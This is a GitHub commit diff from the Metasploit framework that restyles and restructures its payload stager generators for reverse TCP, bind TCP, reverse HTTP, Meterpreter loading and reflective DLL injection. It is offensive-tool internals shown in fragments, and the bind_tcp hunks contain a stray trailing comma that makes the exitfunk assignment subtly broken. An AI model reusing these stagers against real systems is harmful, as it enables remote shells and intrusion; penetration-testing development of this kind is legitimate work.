Skip to content

Commit 69d2b8f

Browse files
committed
Various code format, style changes, file moves
As per Egypt's suggestions.
1 parent 42f94e7 commit 69d2b8f

26 files changed

+220
-245
lines changed

lib/msf/core/handler/reverse_hop_http.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -252,10 +252,10 @@ def send_new_stage(uri)
252252
url = full_uri + conn_id + "/\x00"
253253

254254
print_status("Preparing stage for next session #{conn_id}")
255-
blob = stage_payload({
256-
:uuid => uuid,
257-
:uri => conn_id
258-
})
255+
blob = stage_payload(
256+
uuid: uuid,
257+
uri: conn_id
258+
)
259259

260260
#send up
261261
crequest = mclient.request_raw(

lib/msf/core/handler/reverse_http.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -325,10 +325,10 @@ def on_request(cli, req, obj)
325325

326326
# generate the stage, but pass in the existing UUID and connection id so that
327327
# we don't get new ones generated.
328-
blob = obj.stage_payload({
329-
:uuid => uuid,
330-
:uri => conn_id
331-
})
328+
blob = obj.stage_payload(
329+
uuid: uuid,
330+
uri: conn_id
331+
)
332332

333333
resp.body = encode_stage(blob)
334334

lib/msf/core/payload/linux/bind_tcp.rb

Lines changed: 10 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
# -*- coding: binary -*-
22

33
require 'msf/core'
4-
require 'msf/core/transport_config'
4+
require 'msf/core/payload/transport_config'
55

66
module Msf
77

@@ -15,26 +15,24 @@ module Msf
1515

1616
module Payload::Linux::BindTcp
1717

18-
include Msf::TransportConfig
18+
include Msf::Payload::TransportConfig
1919
include Msf::Payload::Linux
2020

2121
#
2222
# Generate the first stage
2323
#
2424
def generate
25-
26-
# Generate the simple version of this stager if we don't have enough space
27-
if self.available_space.nil? || required_space > self.available_space
28-
return generate_bind_tcp({
29-
:port => datastore['LPORT']
30-
})
31-
end
32-
3325
conf = {
34-
:port => datastore['LPORT'],
35-
:reliable => true
26+
port: datastore['LPORT'],
27+
reliable: false
3628
}
3729

30+
# Generate the more advanced stager if we have the space
31+
unless self.available_space.nil? || required_space > self.available_space
32+
conf[:exitfunk] = datastore['EXITFUNC'],
33+
conf[:reliable] = true
34+
end
35+
3836
generate_bind_tcp(conf)
3937
end
4038

lib/msf/core/payload/linux/reverse_tcp.rb

Lines changed: 13 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
# -*- coding: binary -*-
22

33
require 'msf/core'
4-
require 'msf/core/transport_config'
4+
require 'msf/core/payload/transport_config'
55
require 'msf/core/payload/linux'
66

77
module Msf
@@ -16,30 +16,26 @@ module Msf
1616

1717
module Payload::Linux::ReverseTcp
1818

19-
include Msf::TransportConfig
19+
include Msf::Payload::TransportConfig
2020
include Msf::Payload::Linux
2121

2222
#
2323
# Generate the first stage
2424
#
2525
def generate
26-
# Generate the simple version of this stager if we don't have enough space
27-
if self.available_space.nil? || required_space > self.available_space
28-
return generate_reverse_tcp(
29-
port: datastore['LPORT'],
30-
host: datastore['LHOST'],
31-
retry_count: datastore['ReverseConnectRetries'],
32-
)
33-
end
34-
3526
conf = {
36-
host: datastore['LHOST'],
37-
port: datastore['LPORT'],
27+
port: datastore['LPORT'],
28+
host: datastore['LHOST'],
3829
retry_count: datastore['ReverseConnectRetries'],
39-
exitfunk: datastore['EXITFUNC'],
40-
reliable: true
30+
reliable: false
4131
}
4232

33+
# Generate the advanced stager if we have space
34+
unless self.available_space.nil? || required_space > self.available_space
35+
conf[:exitfunk] = datastore['EXITFUNC']
36+
conf[:reliable] = true
37+
end
38+
4339
generate_reverse_tcp(conf)
4440
end
4541

@@ -79,8 +75,8 @@ def required_space
7975
#
8076
def asm_reverse_tcp(opts={})
8177
# TODO: reliability is coming
82-
#retry_count = [opts[:retry_count].to_i, 1].max
83-
#reliable = opts[:reliable]
78+
retry_count = [opts[:retry_count].to_i, 1].max
79+
reliable = opts[:reliable]
8480
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
8581
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
8682

lib/msf/core/transport_config.rb renamed to lib/msf/core/payload/transport_config.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
# This module contains helper functions for creating the transport
77
# configuration stubs that are used for Meterpreter payloads.
88
##
9-
module Msf::TransportConfig
9+
module Msf::Payload::TransportConfig
1010

1111
include Msf::Payload::UUIDOptions
1212

lib/msf/core/payload/windows/bind_tcp.rb

Lines changed: 10 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
# -*- coding: binary -*-
22

33
require 'msf/core'
4-
require 'msf/core/transport_config'
4+
require 'msf/core/payload/transport_config'
55
require 'msf/core/payload/windows/block_api'
66
require 'msf/core/payload/windows/exitfunk'
77

@@ -17,7 +17,7 @@ module Msf
1717

1818
module Payload::Windows::BindTcp
1919

20-
include Msf::TransportConfig
20+
include Msf::Payload::TransportConfig
2121
include Msf::Payload::Windows
2222
include Msf::Payload::Windows::BlockApi
2323
include Msf::Payload::Windows::Exitfunk
@@ -26,21 +26,17 @@ module Payload::Windows::BindTcp
2626
# Generate the first stage
2727
#
2828
def generate
29-
30-
# Generate the simple version of this stager if we don't have enough space
31-
if self.available_space.nil? || required_space > self.available_space
32-
return generate_bind_tcp({
33-
:port => datastore['LPORT'].to_i,
34-
:reliable => false
35-
})
36-
end
37-
3829
conf = {
39-
:port => datastore['LPORT'].to_i,
40-
:exitfunk => datastore['EXITFUNC'],
41-
:reliable => true
30+
port: datastore['LPORT'],
31+
reliable: false
4232
}
4333

34+
# Generate the more advanced stager if we have the space
35+
unless self.available_space.nil? || required_space > self.available_space
36+
conf[:exitfunk] = datastore['EXITFUNC'],
37+
conf[:reliable] = true
38+
end
39+
4440
generate_bind_tcp(conf)
4541
end
4642

lib/msf/core/payload/windows/meterpreter_loader.rb

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -71,9 +71,9 @@ def stage_meterpreter(stageless=false)
7171
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
7272

7373
asm_opts = {
74-
:rdi_offset => offset,
75-
:length => dll.length,
76-
:stageless => stageless
74+
rdi_offset: offset,
75+
length: dll.length,
76+
stageless: stageless
7777
}
7878

7979
asm = asm_invoke_metsrv(asm_opts)
@@ -82,9 +82,8 @@ def stage_meterpreter(stageless=false)
8282
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
8383

8484
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
85-
if( bootstrap.length > 62 )
86-
print_error( "Meterpreter loader (x86) generated an oversized bootstrap!" )
87-
return
85+
if bootstrap.length > 62
86+
raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
8887
end
8988

9089
# patch the bootstrap code into the dll's DOS header...

lib/msf/core/payload/windows/reflectivedllinject.rb

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -75,8 +75,8 @@ def stage_payload
7575
dll, offset = load_rdi_dll(library_path)
7676

7777
asm_opts = {
78-
:rdi_offset => offset,
79-
:exitfunk => 'thread' # default to 'thread' for migration
78+
rdi_offset: offset,
79+
exitfunk: 'thread' # default to 'thread' for migration
8080
}
8181

8282
asm = asm_invoke_dll(asm_opts)
@@ -85,9 +85,8 @@ def stage_payload
8585
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
8686

8787
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
88-
if( bootstrap.length > 62 )
89-
print_error( "Reflective Dll Injection (x86) generated an oversized bootstrap!" )
90-
return
88+
if bootstrap.length > 62
89+
raise RuntimeError, "Reflective DLL Injection (x86) generated an oversized bootstrap!"
9190
end
9291

9392
# patch the bootstrap code into the dll's DOS header...

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
# -*- coding: binary -*-
22

33
require 'msf/core'
4-
require 'msf/core/transport_config'
4+
require 'msf/core/payload/transport_config'
55
require 'msf/core/payload/windows/block_api'
66
require 'msf/core/payload/windows/exitfunk'
77
require 'msf/core/payload/uuid_options'
@@ -18,7 +18,7 @@ module Msf
1818

1919
module Payload::Windows::ReverseHttp
2020

21-
include Msf::TransportConfig
21+
include Msf::Payload::TransportConfig
2222
include Msf::Payload::Windows
2323
include Msf::Payload::Windows::BlockApi
2424
include Msf::Payload::Windows::Exitfunk

lib/msf/core/payload/windows/reverse_tcp.rb

Lines changed: 11 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
# -*- coding: binary -*-
22

33
require 'msf/core'
4-
require 'msf/core/transport_config'
4+
require 'msf/core/payload/transport_config'
55
require 'msf/core/payload/windows/block_api'
66
require 'msf/core/payload/windows/exitfunk'
77

@@ -15,7 +15,7 @@ module Msf
1515

1616
module Payload::Windows::ReverseTcp
1717

18-
include Msf::TransportConfig
18+
include Msf::Payload::TransportConfig
1919
include Msf::Payload::Windows
2020
include Msf::Payload::Windows::BlockApi
2121
include Msf::Payload::Windows::Exitfunk
@@ -24,23 +24,19 @@ module Payload::Windows::ReverseTcp
2424
# Generate the first stage
2525
#
2626
def generate
27-
# Generate the simple version of this stager if we don't have enough space
28-
if self.available_space.nil? || required_space > self.available_space
29-
return generate_reverse_tcp(
30-
port: datastore['LPORT'],
31-
host: datastore['LHOST'],
32-
retry_count: datastore['ReverseConnectRetries'],
33-
)
34-
end
35-
3627
conf = {
37-
host: datastore['LHOST'],
38-
port: datastore['LPORT'],
28+
port: datastore['LPORT'],
29+
host: datastore['LHOST'],
3930
retry_count: datastore['ReverseConnectRetries'],
40-
exitfunk: datastore['EXITFUNC'],
41-
reliable: true
31+
reliable: false
4232
}
4333

34+
# Generate the advanced stager if we have space
35+
unless self.available_space.nil? || required_space > self.available_space
36+
conf[:exitfunk] = datastore['EXITFUNC']
37+
conf[:reliable] = true
38+
end
39+
4440
generate_reverse_tcp(conf)
4541
end
4642

0 commit comments

Comments
 (0)